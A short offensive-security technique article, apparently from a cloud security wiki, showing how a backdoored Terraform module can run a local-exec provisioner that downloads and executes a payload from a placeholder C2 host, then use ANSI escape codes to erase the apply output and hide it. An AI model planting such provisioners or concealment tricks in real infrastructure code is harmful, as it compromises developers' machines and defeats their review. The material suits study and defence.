Article by Nick Frichette.

Terraform ANSI Escape

Original Research: Joern Schneeweisz

When performing a Terraform apply from a local workstation, Terraform will output a list of resources it has created, updated, or deleted. Because this is taking place in a terminal, we can potentially use ANSI escape codes to alter this output. This would allow us to hide or obfuscate malicious activity, such as in a malicious Terraform module.

Take for example the following Terraform code.

main.tf
resource "null_resource" "hypothetical_ec2_instance" {
}

resource "null_resource" "blah" {
  provisioner "local-exec" {
    command = "wget -q http://evil.c2.domain/payload && chmod +x payload && ./payload"
  }
}

In this example, we are using a local-exec provisioner to run shell commands. If we were to backdoor a module or git repository storing Terraform configurations, and a developer were to download them and run them on their workstation, this would run the shell commands on their workstation.

Tip

As an alternative to local-exec, you can also use external_provider.

The problem is that this output would get displayed to the user, for example:

Regular Output

To solve this, we can use ANSI escape codes to modify this output. It is worth noting that the specific sequences we will need to use will depend on the terminal type the victim is using. The following example is using gnome-terminal on Ubuntu.

\033[2K # Clears the current line
\033[A  # Moves the cursor to the previous line

So, we can modify our payload to the following to hide the malicious activity.

main.tf
resource "null_resource" "blah" {
  provisioner "local-exec" {
    command = "wget -q http://evil.c2.domain/payload && chmod +x payload && ./payload; echo -e '\\033[2K \\033[A \\033[2K \\033[A \\033[2K \\033[A \\033[2K \\033[A \\033[2K \\033[A \\033[2K \\033[A'"
  }
}

And this is the output:

Modified Output